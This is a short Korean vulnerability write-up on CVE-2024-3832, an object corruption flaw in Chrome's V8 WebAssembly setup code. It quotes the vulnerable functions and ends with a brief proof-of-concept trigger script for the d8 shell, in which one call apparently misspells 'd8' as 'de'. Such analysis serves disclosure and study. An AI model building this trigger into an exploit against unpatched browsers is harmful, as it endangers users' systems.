[하루한줄] CVE-2024-3832: V8 엔진에서 발생하는 Object Corruption 취약점

URL

https://securitylab.github.com/advisories/GHSL-2024-071_Chromium/

Target

  • Chrome < 124.0.6367.60

Explain

CVE-2024-3832는 Chrome V8 엔진에서 발생하는 취약점으로 WebAssembly 객체에 특정 속성을 추가하는 과정에서 서로 다른 객체를 참조해 Object Corruption이 발생했습니다.


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle<NativeContext> context) {
  ...
  MaybeHandle<Object> maybe_wasm =
      JSReceiver::GetProperty(isolate, global, "WebAssembly");    //<-------- 1.
  ...
  if (isolate->IsWasmJSPIEnabled(context)) {
    isolate->WasmInitJSPIFeature();

    Handle<String> suspender_string = v8_str(isolate, "Suspender");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string)   //<----- 2.
             .FromMaybe(true)) {
      InstallSuspenderConstructor(isolate, context);
    }

    // Install Wasm type reflection features (if not already done).
    Handle<String> function_string = v8_str(isolate, "Function");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string)
             .FromMaybe(true)) {
      InstallTypeReflection(isolate, context);
    }
  }
}

InstallConditionalFeatures 함수는 global WebAssembly 객체에 SuspenderFunction속성을 추가하기 전, 해당 속성이 이미 존재하는지 확인합니다.
만약 Suspender 속성이 없으면, InstallSuspenderConstructor 함수를 호출해서 속성을 추가합니다.


void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
                                         Handle<NativeContext> context) {
  Handle<JSObject> webassembly(context->wasm_webassembly_object(), isolate);    //<------ 3.
  Handle<JSFunction> suspender_constructor = InstallConstructorFunc(
      isolate, webassembly, "Suspender", WebAssemblySuspender);
  context->set_wasm_suspender_constructor(*suspender_constructor);
  SetupConstructor(isolate, suspender_constructor, WASM_SUSPENDER_OBJECT_TYPE,
                   WasmSuspenderObject::kHeaderSize, "WebAssembly.Suspender");
}

InstallSuspenderConstructor 함수 내에서 3번 코드를 확인하면, context->wasm_webassembly_object()를 사용해 WebAssembly 객체를 참조합니다.

문제는 해당 객체가 global WebAssembly 객체와 다를 수 있어 동일한 Suspender 속성이 두 번 추가되어 Object Corruption으로 이어질 수 있습니다.

WebAssembly.foo = 1;
delete WebAssembly.foo;

WebAssembly.Suspender = 1;

let x = WebAssembly;
WebAssembly = {};

d8.test.enableJSPI();
de.test.installConditionalFeatures();

%DebugPrint(x);
%SystemBreak();

위 PoC 코드를 사용할 경우 Object Corruption을 트리거 할 수 있습니다.

WebAssembly 객체에 Suspender 속성을 추가하고, 해당 객체를 변수 x 에 저장합니다.

이후, 새로 정의된 빈 WebAssembly 객체 생성 후 installConditionalFeatures 함수를 실행하면, 빈 WebAssembly 객체에 대해 속성 검사를 수행하지만, 실제 속성 추가는 변수 x 객체에 추가하기 때문에 Object Corruption이 트리거 됩니다.